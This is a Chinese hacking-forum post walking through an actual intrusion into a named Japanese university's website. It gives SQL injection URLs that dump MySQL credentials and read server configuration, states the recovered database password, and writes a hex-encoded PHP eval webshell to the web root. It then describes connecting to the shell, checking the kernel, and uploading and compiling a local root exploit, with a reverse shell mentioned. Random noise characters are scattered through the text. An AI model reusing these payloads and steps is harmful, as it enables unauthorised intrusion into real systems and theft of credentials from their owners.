找回密码
 立即注册
查看: 3335|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析- H8 `" u( \7 f) A

7 Y! s/ {; d% P) O1 v4 l! k8 o$ [0 Ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
7 s: j  G4 P% l3 R* O9 a6 ^2 K% h7 y然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
& w* I" p8 K: c- u* j
6 \: p% t1 d1 t  q/ o9 whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user  b1 C8 R9 X  u2 L" r
9 G8 \" E- W. f( A2 Q& c4 J

2 a4 c8 F, y; @& ]1 `
& t1 a' o! h7 o! J# L7 ~, e# p//@@datadir为数据库文件路径 2 U5 x8 }# H# k0 S/ k
; ?4 |* Z$ c$ v. Y! ?

+ g6 s8 v, p, M9 v: y' @//load_file读取网站容器apache的配置文件 + O3 W7 G) K1 m$ {8 h! p! V+ @
- e* Y" Y' W1 J

0 ?1 f+ f6 d( \7 T! {& ]//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ! e& s' \/ `* \# I
复制代码
0 B! M1 u( p- \1 `  R/ A
' j- J( _0 `' F- Z6 Q虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
! R; U2 j% [3 @6 F
6 i  E: w. y. o; }" Y" t  W# E3 _而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。1 Y. V" M' D1 I, `1 |
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)2 f$ k; m$ a& H( n4 w

& m7 O& X. b$ d2 {5 K前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
7 K8 n7 @, z1 w0 V( |如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 I+ d$ U* O) D$ I! J% V
8 ^& w5 z0 u% R( Q
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
- C" R% N8 n6 O. J6 s虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。) e- N$ K+ ^8 X+ P0 F" ?
直接写一句话:# M+ R- b% Y0 f1 C" C. p

7 S7 {  |3 |9 G" N% e9 ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  q! Z) r1 E! M& @
. B2 B# l! p( z, g! \0 w( E5 E
) f; g0 V# a, I; {
) u0 P  s6 o, Q' H
//最后的#是为了闭合前面的语句   v  w2 G: y+ K

4 [' u7 o( O; k  G, G2 g- ]0 L
2 D  H, S( K1 o; h/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E " p) n& c7 I/ G6 m9 H: [
1 p/ J1 \8 T: E/ r/ |7 R

( E0 p% M: h1 D  E% F' H; g为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ . q0 ^# Q2 |0 D# R. M- {$ w* Z8 |
; O1 V* ^5 \9 U5 E- N/ W! @

' x+ E' ~: f0 U0 l( q; N4 y//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
# g7 a) x; x  s2 W' U# U5 i6 o
; V8 c1 `% D) W/ z# c
- x$ p* E4 ~" z# b5 F+ c//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 5 a4 {6 K8 I2 J  C0 ~5 W' W
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
# E* b$ [) Z9 h8 X) P- D复制代码
6 |0 r6 w# }/ t% g- m7 s! p) K" G  S; N, |3 }1 r' e
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
) P6 O4 W" L% C8 F- |3 D) V5 }通过上述注入语句,我们就得到了一句话木马:+ _' I  ?0 f% Y9 ?+ M4 {
3 E7 g. L5 X% b, g1 A

% L# \( Z( }) D* o- \; f6 s! ?& E
7 L& H: B# x' u$ f/ u: I3 r
. D( r$ X" H; {1 H0 ?6 n' w
' ~1 e6 J/ ]& K; j# ^4 i" Bhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
0 n  D4 u: ?9 _' c9 ]复制代码
8 o& X* E( _) P- u; z1 \0 O
: a% m' q) k5 g2 B/ K7 e用菜刀连接,密码是cmd,如图所示:
0 ?& J* U' x, `! B然后在命令提示行里看了一下,现在的权限是:
6 H4 r9 n5 Y  D0 ^
- T  O* R, Z% q' O2 z之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。8 @/ q3 u! F5 m
好在赋权给这个文件夹不需要root,直接执行赋权语句:
( m. P* m; C1 N8 M$ x/ i- E9 n- a- x; c8 P
, t  H' `5 k# A4 r3 K
1 J  e+ e8 b$ y# `; G' v# ~+ K! F

* E6 w1 D% K1 E& S' d9 l% }) f
5 _" ^* p" ^  F0 pchmod +x /tmp/
# i% D# w" S' l& |: \复制代码
1 D9 V/ W- z& w# I3 d2 F* c" u
4 Z/ k1 I# ]4 {+ G% }在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
9 N3 X3 h# }) S' H  Y& L& L然后就查了一下内核版本:
' |: N/ H1 a3 M& F( r& K. o7 t0 g7 w' e3 e; N& u, n+ g. o' {0 @; z

7 X2 H# e  l# n6 z8 A1 H1 z. @. E! l, n8 s/ {/ ?: K) O
2 ?6 ]/ K2 ?! ~2 r2 w/ ?) Y  a' i

4 R6 S+ \1 b/ D9 ~3 i6 }0 _uname-a
% D6 ~" y9 G8 Q' Q# C& y 5 n% `2 j: a; g5 l

. V$ \+ V$ z+ K- R! F9 Q//其实lsb_release -a 0 M5 x; v9 Z+ }* m' A% l
复制代码4 L8 d: [+ O( Q
/ W/ o3 a& \: D( w
如图所示:
0 M# K+ b: d" @4 ^! B! C# O& p1 w; ^
内核版本:linux mainz1 2.6.28-194.e15& l) D- ^8 y  w
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)% V  `! [# T  n7 e. }
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹( w, {7 W  H# n' z
0 I4 N0 S/ \: {, w4 A
然后给予执行权限* l4 b, d$ T; _4 |  J
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
0 L: D) ~0 X  z0 p' w+ j% ?5 t5 R  i9 Z5 t9 ^
' U8 m2 \5 ^2 x, C* I5 `6 d
: w+ a% ^8 z1 {0 J1 H# y6 U3 j& `' Z
6 b" r' u) |1 i2 u

; y7 k/ r! s3 [+ z. V8 }chmod +x /tmp/2.6.18-194 ( S% `- n& y% c3 S# z$ \
复制代码 然后直接执行!~
' h8 V' m+ Q' ~; z; c7 e8 [6 \3 G" r5 a; u2 N5 u7 F
总结:
, s6 n* Y2 X' D8 P6 n  |这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了9 b; V  J& P6 H% H$ t; c
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root; t& `+ S0 W1 E' f4 `# ~

: v  J* \& m" D# V0 n0 |2 b7 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表